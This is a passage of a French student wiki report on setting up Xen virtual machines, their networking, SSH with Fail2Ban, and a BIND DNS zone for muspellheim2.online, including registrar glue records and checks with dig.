* '''Type :''' &amp;lt;code&amp;gt;file&amp;lt;/code&amp;gt; → Image disque stockée dans un fichier.&lt;br /&gt;
* '''Source :''' &amp;lt;code&amp;gt;/usr/local/xen/domains/SE4.Atreus/swap.img&amp;lt;/code&amp;gt; → Chemin de l'image disque swap.&lt;br /&gt;
* '''Cible :''' &amp;lt;code&amp;gt;xvda1&amp;lt;/code&amp;gt; → Première partition du disque virtuel &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== DISQUE PHYSIQUE POUR /home ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Atreus.home,xvda3,w'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''Type :''' &amp;lt;code&amp;gt;phy&amp;lt;/code&amp;gt; → Un périphérique physique (généralement une partition réelle ou un volume logique LVM).&lt;br /&gt;
* '''Source :''' &amp;lt;code&amp;gt;/dev/virtual/SE4.Atreus.home&amp;lt;/code&amp;gt; → Partition ou volume logique physique sur l'hôte. L'hôte étant le disque dur de capbreton.&lt;br /&gt;
* '''Cible :''' &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; → Troisième partition du disque virtuel &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Cette partition dédiée permet d’isoler le répertoire &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;, facilitant ainsi la gestion des données utilisateur séparément du système.&lt;br /&gt;
&lt;br /&gt;
==== DISQUE PHYSIQUE POUR /var ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Atreus.var,xvdb1,w'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''Type :''' &amp;lt;code&amp;gt;phy&amp;lt;/code&amp;gt; → Périphérique physique.&lt;br /&gt;
* '''Source :''' &amp;lt;code&amp;gt;/dev/virtual/SE4.Atreus.var&amp;lt;/code&amp;gt; → Partition physique ou volume logique dédié sur l'hôte.&lt;br /&gt;
* '''Cible :''' &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; → Première partition du second disque virtuel (&amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Cette partition est dédiée au répertoire &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, où sont stockés les journaux (logs), les bases de données, les fichiers temporaires, etc. Cette séparation permet une meilleure gestion des données systèmes dynamiques.&lt;br /&gt;
&lt;br /&gt;
Pour le fichier /var&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour le fichier /home&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DÉMARRAGE AUTOMATIQUE DU MONTAGE ====&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Fichier fstab.png|Fichier_fstab|centré]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== CONFIGURATION RÉSEAU ==&lt;br /&gt;
&lt;br /&gt;
Chaque machine dispose d'une adresse IPv4 fixe sur un réseau privé, ainsi que d'une adresse IPv6 configurée automatiquement.&lt;br /&gt;
&lt;br /&gt;
Nous modifions la configuration réseau dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; de la machine mandataire. Ensuite, nous ajustons le fichier de configuration de la machine virtuelle afin qu'elle possède deux interfaces : la première permet de communiquer avec le routeur mis en place par nos collègues, tandis que la seconde est connectée au pont réseau que nous avons créé pour l’intercommunication entre nos trois machines.&lt;br /&gt;
&lt;br /&gt;
=== MACHINE MANDATAIRE ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
name        = 'SE4.GOW'&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
#  Networking&lt;br /&gt;
#&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
vif         = [ 'mac=00:16:3E:E7:C5:1A,bridge=bifrost',&lt;br /&gt;
		'mac=00:16:3E:E7:C5:1B,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le pont nommé '''&amp;quot;bifrost&amp;quot;''', défini dans le fichier de configuration de notre machine virtuelle mandataire, sert à '''relier virtuellement les trois machines''' entre elles.&lt;br /&gt;
&lt;br /&gt;
Pour que des machines puissent communiquer, elles doivent être sur le '''même réseau'''. Ici, c’est un '''VIF (Virtual Interface)''' qui joue ce rôle : c’est une sorte de '''commutateur virtuel''' (ou switch virtuel).&lt;br /&gt;
&lt;br /&gt;
Un '''commutateur''', c’est ce que vous imaginez peut-être comme une grosse boîte avec plein de câbles et de lumières clignotantes, qu’on trouve dans les salles serveurs.&lt;br /&gt;
&lt;br /&gt;
Dans notre cas, tout ça est '''simulé dans la machine virtuelle''', donc pas de câbles physiques : la communication se fait via la '''carte réseau virtuelle''' attribuée à chaque machine.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface réseau est visible dans le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;. On peut modifier ce fichier pour attribuer une adresse IP fixe à la machine GOW.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 192.168.3.1/24&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 193.48.57.172/27&lt;br /&gt;
	gateway 193.48.57.161&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MACHINE DE SERVICES ===&lt;br /&gt;
/etc/network/interfaces de la machine SE4.Atreus qui permet de lié les Interfaces de la MV avec ses VIF pour communiquer en IPv6 avec Internet et IPv4 avec la machine mandataire &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 192.168.3.2/24&lt;br /&gt;
	gateway 192.168.3.1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On configure la machine mandataire comme une passerelle (gateway) en IPv4. En IPv6, l’adresse est attribuée automatiquement grâce au bridge SE4.&lt;br /&gt;
&lt;br /&gt;
Une fois que chaque machine peut être pingée par les autres et qu’elles arrivent à envoyer des requêtes vers Internet, on peut passer à l’étape suivante.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Interfacekratos.png|alt=Interfacekratos|Interfacekratos|centré|vignette|470x470px]]&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; |[[Fichier:IpaAtreusIp6Ip4.png|vignette|546x546px|ip a de la machine SE4.Atreus|centré]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Fichier:PingEntre2VM.png|alt=PingEntre2VM|PingEntre2VM|centré|vignette|986x986px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== SSH ====&lt;br /&gt;
On active le SSH avec la ligne &amp;lt;code&amp;gt;PermitRootLogin yes&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt;sur les 3 machines, on peut accéder à la mandataire avec son adresse IPv4 routée, pour les machines de service on utilise l'adresse en IPv6&lt;br /&gt;
&lt;br /&gt;
===== 🛡️ Sécurisation SSH avec Fail2Ban =====&lt;br /&gt;
📄 '''Fichier :''' &amp;lt;code&amp;gt;/etc/fail2ban/jail.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ce fichier contient les règles locales de '''Fail2Ban''', un outil qui surveille les logs système et '''bannit temporairement les adresses IP''' en cas de comportement suspect (comme des tentatives de connexion SSH répétées avec un mauvais mot de passe).&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable  = true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter  = sshd&lt;br /&gt;
maxretry = 3&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Paramètre&lt;br /&gt;
!Explication&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;enable = true&amp;lt;/code&amp;gt;&lt;br /&gt;
|Active la surveillance de SSH.&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;port = ssh&amp;lt;/code&amp;gt;&lt;br /&gt;
|Surveille le port SSH.&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;filter = sshd&amp;lt;/code&amp;gt;&lt;br /&gt;
|Utilise le '''filtre prédéfini''' &amp;lt;code&amp;gt;sshd.conf&amp;lt;/code&amp;gt;, qui détecte les échecs de connexion dans les logs.&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;maxretry = 3&amp;lt;/code&amp;gt;&lt;br /&gt;
|'''3 tentatives''' ratées autorisées avant bannissement.&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;findtime = 300&amp;lt;/code&amp;gt;&lt;br /&gt;
|La fenêtre de détection : '''5 minutes''' pour accumuler ces 3 tentatives.&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;bantime = 600&amp;lt;/code&amp;gt;&lt;br /&gt;
|Durée de bannissement : '''10 minutes''' (600 secondes).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== CONFIGURATION DNS ===&lt;br /&gt;
Rappel : Qu’est-ce qu’un serveur DNS ?&lt;br /&gt;
&lt;br /&gt;
Vu en cours avec Monsieur redon et Monsieur Vantroys, DNS veut dire '''Domain Name System'''. C’est un '''service''' qui fait la conversion entre un '''nom de domaine''' (comme &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;) et une '''adresse IP''' (comme &amp;lt;code&amp;gt;193.48.57.172&amp;lt;/code&amp;gt;), que les machines utilisent pour communiquer. Ce sont les pages jaunes des serveurs et IP d'Internet. On ne connait pas l'adresse IP de tous les sites. On ne connait que les noms. Quand on écrit netflix.com sur Internet, on interroge les serveurs DNS pour qu&amp;quot;il puisse nous rediriger vers l'adresse IP associé au nom &amp;quot;netflix.com&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
==== 🌍 Fichier de zone DNS : &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt; ====&lt;br /&gt;
📄 '''Fichier :''' &amp;lt;code&amp;gt;/etc/bind/zones/muspellheim2.online/muspellheim2.zone&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ce fichier définit tous les enregistrements DNS pour le domaine &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Il est utilisé par le serveur BIND '''maître''' (primary) pour répondre aux requêtes DNS.&lt;br /&gt;
&lt;br /&gt;
===== 🧾 En-tête : SOA (Start Of Authority) =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
@ IN SOA ns.muspellheim2.online. admin.muspellheim2.online. (&lt;br /&gt;
           3609     ; Numéro de version&lt;br /&gt;
          21600     ; Rafraîchissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
          86400 )   ; Cache négatif (24h)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 &amp;lt;code&amp;gt;@&amp;lt;/code&amp;gt; : représente le domaine racine (&amp;lt;code&amp;gt;muspellheim2.online.&amp;lt;/code&amp;gt; ici)&lt;br /&gt;
&lt;br /&gt;
🔹 &amp;lt;code&amp;gt;SOA&amp;lt;/code&amp;gt; : Spécifie '''l’autorité principale''' de la zone. Ici :&lt;br /&gt;
&lt;br /&gt;
* Serveur DNS maître : &amp;lt;code&amp;gt;ns.muspellheim2.online.&amp;lt;/code&amp;gt;&lt;br /&gt;
* Contact admin : &amp;lt;code&amp;gt;admin@muspellheim2.online&amp;lt;/code&amp;gt; (le point remplace le &amp;lt;code&amp;gt;@&amp;lt;/code&amp;gt;)&lt;br /&gt;
A chaque modification de ce fichier, il faut incrémenter le numéro de version de +1.&lt;br /&gt;
&lt;br /&gt;
===== 📡 Serveurs DNS (NS) =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
@ IN NS ns.muspellheim2.online.&lt;br /&gt;
@ IN NS ns.jotunheim2.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 Ces lignes déclarent les serveurs DNS autoritaires pour cette zone :&lt;br /&gt;
&lt;br /&gt;
- ns.muspellheim2.online. (le maître)&lt;br /&gt;
&lt;br /&gt;
- ns.jotunheim2.tech. (un secondaire)&lt;br /&gt;
&lt;br /&gt;
===== 🧭 Enregistrements de type A / AAAA =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
ns         IN A    193.48.57.172&lt;br /&gt;
ns         IN AAAA 2001:660:4401:60a0:216:3eff:fe91:f4e3&lt;br /&gt;
@          IN A    193.48.57.172&lt;br /&gt;
@          IN AAAA 2001:660:4401:60a0:216:3eff:fe91:f4e3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 '''A''' : Adresse IPv4&lt;br /&gt;
&lt;br /&gt;
🔹 '''AAAA''' : Adresse IPv6&lt;br /&gt;
&lt;br /&gt;
Ces enregistrements associent :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ns.muspellheim2.online&amp;lt;/code&amp;gt; à ses adresses IP (serveur DNS)&lt;br /&gt;
* &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt; lui-même à la même machine (le site est hébergé dessus)&lt;br /&gt;
&lt;br /&gt;
===== 🔗 Alias (CNAME) =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
www IN CNAME muspellheim2.online.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 Les requêtes pour &amp;lt;code&amp;gt;www.muspellheim2.online&amp;lt;/code&amp;gt; seront redirigées vers &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Cela évite de dupliquer les enregistrements A/AAAA pour &amp;lt;code&amp;gt;www&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== 🔐 DNS Validation via Digicert =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
_gay4mlana6awxk71vd9gjuzdkzfism2.muspellheim2.online. 10800 IN CNAME dcv.digicert.com.&lt;br /&gt;
_gay4mlana6awxk71vd9gjuzdkzfism2.www.muspellheim2.online. 10800 IN CNAME dcv.digicert.com.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 Ces lignes servent à '''valider le domaine''' auprès de l’autorité de certification (Digicert) pour obtenir un certificat SSL.&lt;br /&gt;
&lt;br /&gt;
🔹 &amp;lt;code&amp;gt;dcv.digicert.com.&amp;lt;/code&amp;gt; est le serveur que Digicert utilise pour vérifier la possession du domaine (via un CNAME dynamique généré).&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier la syntaxe de notre '''fichier de zone DNS''' avec l’outil &amp;lt;code&amp;gt;named-checkzone&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Cet outil nous aide à repérer les erreurs dans l’écriture du fichier, un peu comme '''Microsoft Word souligne les fautes de grammaire ou de syntaxe''' dans un texte.&lt;br /&gt;
&lt;br /&gt;
Par exemple :&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
root@Atreus:~# named-checkzone muspellheim2.online /etc/bind/zones/muspellheim2.online/muspellheim2.zone&lt;br /&gt;
zone muspellheim2.online/IN: loaded serial 3609&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici, le message '''&amp;quot;OK&amp;quot;''' signifie que le fichier est bien écrit et ne contient pas d’erreurs de syntaxe.&lt;br /&gt;
&lt;br /&gt;
Juste à noter : &amp;lt;code&amp;gt;named-checkzone&amp;lt;/code&amp;gt; vérifie uniquement la syntaxe et la structure logique du fichier (comme la présence d’un SOA, la validité des enregistrements, etc.), '''mais pas si les adresses IP ou noms existent réellement'''.&lt;br /&gt;
&lt;br /&gt;
Une fois que tout est correctement configuré, '''n’oubliez pas de redémarrer les services &amp;lt;code&amp;gt;named&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;bind&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
Cela permet à ces services de '''prendre en compte les nouvelles modifications''' que vous avez apportées dans les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Il faut aussi '''attribuer les bons droits d'accès aux fichiers''', pour que &amp;lt;code&amp;gt;bind&amp;lt;/code&amp;gt; puisse les lire correctement. Sinon, il risque de ne pas fonctionner comme prévu.&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
chown bind:bind /etc/bind/zones/muspellheim2.online/muspellheim2.zone&lt;br /&gt;
chmod 644 /etc/bind/zones/muspellheim2.online/muspellheim2.zone&lt;br /&gt;
&lt;br /&gt;
chown bind:bind /etc/bind/named.conf.local&lt;br /&gt;
chmod 644 /etc/bind/named.conf.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;chown&amp;lt;/code&amp;gt; permet de '''donner la propriété des fichiers à l’utilisateur et au groupe &amp;lt;code&amp;gt;bind&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;chmod 644&amp;lt;/code&amp;gt; donne les '''droits de lecture au service &amp;lt;code&amp;gt;bind&amp;lt;/code&amp;gt;''', tout en empêchant d'autres utilisateurs non privilégiés de les modifier.&lt;br /&gt;
&lt;br /&gt;
===== Vérification avec l'outil &amp;quot;dig&amp;quot; =====&lt;br /&gt;
On peut '''vérifier que notre serveur DNS fonctionne correctement''' en utilisant la commande &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
C’est un outil qui envoie une requête DNS pour demander l’adresse IP d’un nom de domaine, et affiche la réponse complète reçue du serveur.&lt;br /&gt;
&lt;br /&gt;
Par exemple, ici on interroge notre propre serveur DNS local (&amp;lt;code&amp;gt;@localhost&amp;lt;/code&amp;gt;) pour vérifier s’il connaît le domaine &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
root@Atreus:~# dig @localhost muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Cela signifie que la requête s’est bien déroulée, et qu’il n’y a '''pas d’erreur''' dans le fichier de zone.&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
muspellheim2.online.    200     IN      A       193.48.57.172&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le serveur DNS a bien répondu avec l’adresse IP '''193.48.57.172''', donc '''la zone est bien configurée et active'''.Ce test permet de s'assurer que '''le nom de domaine est bien reconnu et renvoie vers la bonne adresse IP'''.&lt;br /&gt;
&lt;br /&gt;
On peut aussi tester depuis '''une autre machine virtuelle''', pour voir si '''le domaine est connu à l'extérieur''', par exemple par '''le DNS public de Google (&amp;lt;code&amp;gt;8.8.8.8&amp;lt;/code&amp;gt;)'''.&lt;br /&gt;
&lt;br /&gt;
Pour cela, on utilise &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; en spécifiant l’IP du serveur DNS qu’on veut interroger :&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
root@GOW:~# dig @8.8.8.8 muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
muspellheim2.online.    189     IN      A       193.48.57.172&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Google a répondu avec l’adresse IP '''193.48.57.172''', ce qui prouve que '''notre domaine est maintenant reconnu depuis l’extérieur'''.&lt;br /&gt;
🧠 '''Petit point d’attention''' : Si tu n’as pas volontairement '''enregistré le domaine &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt; sur Internet''' (via un registrar, ici c'est Gandi), alors :&lt;br /&gt;
&lt;br /&gt;
* soit '''ton environnement de test est spécial''' (ex : en école avec une infra réseau propre et un DNS intermédiaire qui communique avec Google),&lt;br /&gt;
* soit '''le domaine a réellement été enregistré publiquement''', auquel cas tu partages un vrai domaine avec d'autres (et ça peut poser des conflits si tu voulais juste faire des tests en local).&lt;br /&gt;
&lt;br /&gt;
==== REGISTRAR ET PROPAGATION DNS ====&lt;br /&gt;
Pour rendre notre '''serveur DNS opérationnel et accessible depuis Internet''', on se rend sur le site du '''registrar''' (dans notre cas : '''Gandi'''), qui est l’organisme auprès duquel on a acheté notre '''nom de domaine'''.&lt;br /&gt;
&lt;br /&gt;
Dans l’onglet '''&amp;quot;Nameserver&amp;quot;''', on ajoute un '''Glue Record'''.&lt;br /&gt;
&lt;br /&gt;
Un Glue Record sert à '''lier notre nom de domaine à nos propres serveurs DNS''', en indiquant leurs adresses IP :&lt;br /&gt;
&lt;br /&gt;
* l’adresse '''IPv4''' de la '''machine mandataire''' (notre DNS principal),&lt;br /&gt;
* les adresses '''IPv6''' des '''machines de service''', si on veut un fonctionnement complet en IPv6.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on '''remplace les serveurs de noms (Nameservers) par les nôtres''', c’est-à-dire notre propre serveur DNS.&lt;br /&gt;
&lt;br /&gt;
Cela fait de notre serveur '''le référent officiel pour la gestion des noms de domaine''' associés à &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
🧠 Pourquoi on fait tout ça ?&lt;br /&gt;
&lt;br /&gt;
Eh bien, comme on l’a vu avec la commande :&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
dig @8.8.8.8 muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Google a pu répondre car '''notre domaine est désormais public''' !&lt;br /&gt;
&lt;br /&gt;
Si on n’avait pas fait cette configuration chez Gandi, personne sur Internet (hors de notre réseau) n’aurait pu le voir.&lt;br /&gt;
&lt;br /&gt;
🌐 Pour faire simple :&lt;br /&gt;
&lt;br /&gt;
En ajoutant un Glue Record et en configurant nos Nameservers, on annonce notre domaine au monde entier.&lt;br /&gt;
&lt;br /&gt;
Cela permet à n’importe quel ordinateur sur Internet de retrouver l’adresse IP de notre serveur — et donc d’afficher notre site ou d’accéder à nos services.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:NameserverGandi.png|gauche|NameserverGandi Pierre CASIMIRI muspellheim2.online]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Fichier:GlueRecordGandi.png|gauche|2305x2305px|GlueRecordGandi Pierre CASIMIRI muspellheim2.online]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== DIFFUSION DE NOTRE SUPERBE SERVEUR AU MONDE ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
🌍 Une fois le Glue Record ajouté… on attend un peu que le monde entier soit au courant !&lt;br /&gt;
&lt;br /&gt;
Une fois qu’on a :&lt;br /&gt;
&lt;br /&gt;
* ajouté les '''Glue Records''',&lt;br /&gt;
* remplacé les '''Nameservers''' dans le registrar (comme Gandi),&lt;br /&gt;
&lt;br /&gt;
eh bien il faut patienter un peu. Pourquoi ? Parce que '''les informations DNS doivent se propager''' à travers le monde. Cette phase peut prendre '''quelques heures à quelques jours''', selon les serveurs.&lt;br /&gt;
&lt;br /&gt;
🛰️ Comment savoir si c’est bien propagé ?&lt;br /&gt;
&lt;br /&gt;
Il existe des sites comme '''DNSChecker.org''' qui permettent de voir si votre nom de domaine est '''bien visible depuis plusieurs endroits de la planète'''.&lt;br /&gt;
&lt;br /&gt;
📌 Exemple : &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sur DNSChecker, vous entrez votre domaine et choisissez le type d'enregistrement que vous voulez vérifier, par exemple :&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Type&lt;br /&gt;
!Ce que ça affiche&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt;&lt;br /&gt;
|Adresse IPv4 liée au domaine&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;AAAA&amp;lt;/code&amp;gt;&lt;br /&gt;
|Adresse IPv6&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;NS&amp;lt;/code&amp;gt;&lt;br /&gt;
|Liste des Nameservers en charge du domaine&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;CNAME&amp;lt;/code&amp;gt;&lt;br /&gt;
|Alias d’un domaine vers un autre&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;DNSKEY&amp;lt;/code&amp;gt;&lt;br /&gt;
|Clés publiques DNSSEC (on y reviendra plus tard)&lt;br /&gt;
|}&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:DNSChecker1.png|gauche|768x768px|DNSChecker1]]&lt;br /&gt;
![[Fichier:DNSChecker3.png|alt=DNSChecker3|bordure|687x687px]]&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; |[[Fichier:DNSChecker5.png|alt=DNSChecker5|655x655px]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Fichier:DNSChecker2.png|alt=DNSChecker2|bordure|768x768px]]&lt;br /&gt;
|[[Fichier:DNSChecker4.png|alt=DNSChecker4|701x701px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
* ✅ '''Check vert''' : ça veut dire que ce serveur DNS a bien reçu et reconnu ton info.&lt;br /&gt;
* 🟡 '''Check en attente''' : propagation en cours ou serveur lent.&lt;br /&gt;
* ❌ '''Check rouge''' : info non encore propagée à ce serveur ou pas propagée car les certificats ne sont pas acceptés par ses serveurs DNS.&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC sur Atreus ====&lt;br /&gt;
&lt;br /&gt;
===== 🧭 Configuration DNS sur le serveur BIND – &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; =====&lt;br /&gt;
